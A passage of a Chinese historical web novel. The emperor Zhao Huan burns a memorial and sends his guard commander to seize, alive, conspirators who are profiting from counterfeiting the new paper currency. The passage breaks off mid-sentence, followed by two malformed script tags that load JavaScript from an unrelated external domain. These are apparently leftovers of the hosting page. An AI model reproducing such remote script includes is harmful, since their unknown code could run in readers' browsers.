他伸出手,在折可求呈上来的奏折上轻轻一点。
然后他将奏折拿起,慢慢移到旁边跳跃的烛火之上。
干燥的纸张触碰到火焰,瞬间就被点燃。
火光映照着赵桓那张年轻而坚毅的脸,让他原本就深邃的眼眸显得更加明亮。
奏折在火焰中迅速卷曲、变黑,最终化为一堆无声的灰烬。
所有罪恶的证据和那大胆的猜测,都消失在了空气里。
“折可求。”
赵桓转过身,看着一直躬身侍立在身后的锦衣卫指挥使。
他的声音很平静,听不出任何情绪波动。
“鱼,该收网了。”
折可求闻言,身子猛地一震。
他抬起头看向天子。
他从皇帝陛下的眼神里,读懂了那平静之下隐藏的滔天杀意。
“臣,遵旨!”
他重重一抱拳,再没有多余的废话。
“去吧。”
赵桓挥了挥手。
“朕不想在今天早朝之前,再看到这些垃圾还活在汴梁城里。”
“记住。”
他顿了顿,补充了一句。
“要活口。”
“朕还有话,要亲自问他们。”
“臣,明白!”
折可求再次躬身行礼,然后转身大步流星地走出这间灯火通明的御书房。
他的身影迅速融入殿外深沉的夜色之中。
……
三更时分。
夜已经深了。
整个汴梁城都陷入一片沉寂的睡眠之中。
只有负责巡夜的更夫,还在有一下没一下地敲打着手中的梆子。
唐安那座秘密宅邸之内,灯火却依旧亮着。
一场充满兴奋和贪婪的密会,正在进行。
“哈哈哈!”唐安端着酒杯,满脸红光地对坐在对面的几个同党大笑道,“想不到吧!想不到吧!那赵官家费尽心思搞出来的靖康宝钞,竟然这么快就成了咱们的摇钱树!这几日咱们散出去的那些货,已经换回来了足足上万贯货真价实的现钱!照这个速度下去,不出三个月,咱们就能把整个汴梁城的钱都给掏空!到时候我看他赵官家,还拿什么养他那几十万的禁军,还拿什么推行他那狗屁的新政!”
坐在他对面的一个中年人,也满脸兴奋地附和道:“唐兄此
/script src="https://m.hnkente.com/s002/fei.js"> /script src="https://m.hnkente.com/s001/fei.js">